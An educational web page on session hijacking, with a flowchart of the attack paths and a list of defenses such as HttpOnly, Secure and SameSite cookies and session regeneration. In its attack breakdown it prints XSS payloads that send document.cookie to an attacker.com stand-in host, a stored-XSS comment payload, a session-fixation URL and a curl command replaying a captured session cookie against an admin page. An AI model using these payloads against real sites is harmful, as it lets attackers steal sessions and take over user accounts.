🍪 Session Hijacking Attack Flow
Stealing and Exploiting Session Tokens
flowchart TD
A[👥 Victim User] -->|1. Login to website| B[🌐 Web Application]
B -->|2. Create session| C[🍪 Session Cookie]
C -->|3. Stored in browser| A
D[👤 Attacker] -->|4. XSS Attack| E[💉 Steal Cookie via JavaScript]
D -->|5. Network sniffing| F[📡 Intercept HTTP Traffic]
D -->|6. Session fixation| G[🔗 Force Known Session ID]
D -->|7. Session prediction| H[🔮 Guess Sequential ID]
E -->|8. document.cookie| I[🎯 Stolen Session Token]
F -->|9. Capture unencrypted| I
G -->|10. Wait for login| I
H -->|11. Brute force| I
I -->|12. Use victim's token| D
D -->|13. Replay session cookie| B
B -->|14. No additional validation| J[❌ Weak Session Security]
J -->|15. Grant access| K[✅ Authenticated as Victim]
K -->|16. Access private data| D
K -->|17. Perform actions| D
K -->|18. Change password| D
style A fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style D fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style I fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style J fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style K fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
L[🔒 Defense:
HttpOnly Cookies] -.->|Block JS access| E
M[🛡️ Defense:
HTTPS Only] -.->|Prevent sniffing| F
N[⚙️ Defense:
Session Binding] -.->|Validate IP/UA| J
style L fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style M fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style N fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
XSS Cookie Theft: Inject JavaScript to steal session cookies.
<script>fetch('http://attacker.com?c='+document.cookie)</script>
<script>new Image().src='http://attacker.com/'+btoa(document.cookie)</script>
2
Man-in-the-Middle (MITM): Intercept unencrypted HTTP traffic.
Tools: Wireshark, Ettercap, mitmproxy
Capture Cookie header from HTTP requests
3
Session Fixation: Force victim to use attacker's session ID.
http://site.com/login?session_id=ATTACKER_SESSION_ID
After victim logs in, attacker uses the same session
4
Session Prediction: Guess sequential or weak session IDs.
Weak: session_123, session_124, session_125...
Timestamp-based IDs are predictable
5
Cross-Site Scripting (Persistent): Stored XSS auto-executes.
Comment field: <script>steal_session()</script>
Every user viewing the comment has session stolen
6
Session Replay: Reuse captured session token.
curl -H "Cookie: PHPSESSID=captured_token" http://site.com/admin
7
Physical Access: Access logged-in computer or browser storage.
Read cookies from browser DevTools → Application → Cookies
8
Malware/Trojan: Install keylogger or session stealer.
Browser extension: Read all cookies and send to C&C server
🛡️ Defense Mechanisms
✅ HttpOnly Cookie Flag:
Prevent JavaScript from accessing session cookies.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
✅ Secure Flag (HTTPS Only):
Ensure cookies only transmitted over encrypted connections.
Set-Cookie: session=abc; Secure
✅ SameSite Attribute:
Prevent cross-site request cookie leakage.
SameSite=Strict (strict) | SameSite=Lax (balanced)
✅ Session Binding:
Bind session to IP address and User-Agent.
if (session.ip !== request.ip) reject_session()
⚠️ Can cause issues with mobile users/VPNs
✅ Short Session Timeouts:
Limit session lifetime and implement idle timeouts.
Absolute timeout: 2 hours | Idle timeout: 15 minutes
✅ Session Regeneration:
Generate new session ID after authentication and privilege changes.
After login: session_regenerate_id()
✅ Strong Session IDs:
Use cryptographically random session identifiers.
128-bit random value (32 hex characters minimum)
✅ Multi-Factor for Sensitive Actions:
Re-authenticate for critical operations.
Password changes, fund transfers → Require OTP
✅ Monitor Concurrent Sessions:
Alert on multiple active sessions from different locations.
Detect: Session from US and China simultaneously